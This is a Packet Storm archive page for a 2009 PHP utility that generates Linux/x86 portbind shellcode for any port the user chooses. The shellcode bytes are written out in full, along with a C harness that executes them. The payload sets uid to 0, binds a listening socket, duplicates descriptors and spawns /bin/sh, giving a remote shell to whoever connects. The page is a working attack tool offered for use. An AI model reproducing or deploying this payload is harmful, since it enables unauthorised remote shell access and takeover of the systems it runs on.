exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Generate Portbind Shellcode

Linux/x86 Generate Portbind Shellcode
Posted Jun 9, 2009
Authored by Jonathan Salwan | Site shell-storm.org

This is a utility to generate portbinding shellcode payload for Linux/x86.

tags | x86, shellcode
systems | linux
SHA-256 | 6c2fc2e2b424d795c8196a3aa502fcb488595071f7752a8e8da3bcb311373a1c

Linux/x86 Generate Portbind Shellcode

Change Mirror Download
<?php
/*
Utility : Generate Payload PortBind Linux/x86
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org

More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
{
echo "\nSyntax:\nroot@laptop:/# php ./payload.php <port>\n\n";
}

function linux86bind($port)
{
if($port > 65535 || $port < 4100){
echo "Erreur Port\nSelect a port between 4100 and 65535\n";
return false;
}

$inser .= "\nchar shellcode[] = \n";
$inser .= " /* BindPort TCP/$port; Linux/x86; Gen:http://www.shell-storm.org */\n";
$inser .= "\n";
$inser .= " \x22\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\x22\n";
$inser .= " \x22\\x43\\x53\\x89\\xe1\\x4b\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68\\x";

$res_port = base_convert($port, 10, 16);

$length = strlen($res_port)-1;
$i = 1;

for($idx = 0; $idx < $length+1; $idx++)
{
$i++;
if($i == 4)
$inser .= "\\x";

$inser .= $res_port[$idx];
}

$inser .= "\\x43\\x66\\x53\x22\n";
$inser .= " \x22\\x89\\xe1\\xb0\\x10\\x50\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\xb3\\x04\x22\n";
$inser .= " \x22\\xcd\\x80\\x50\\x50\\x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\x22\n";
$inser .= " \x22\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68n/sh\\x68//bi\\x89\\xe3\\x51\\x53\\x89\x22\n";
$inser .= " \x22\\xe1\\xb0\\x0b\\xcd\\x80\x22\x3b\n";
$inser .= "\n";
$inser .= " printf(\x22Length: %d\\n\x22,strlen(shellcode));\n";
$inser .= " (*(void(*)()) shellcode)();\n";
$inser .= "\n";
$inser .= "\n";

return $inser;
}

if($argc < 2){
syntax();
return false;
}
$port = $argv[1];
echo linux86bind($port);

?>

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close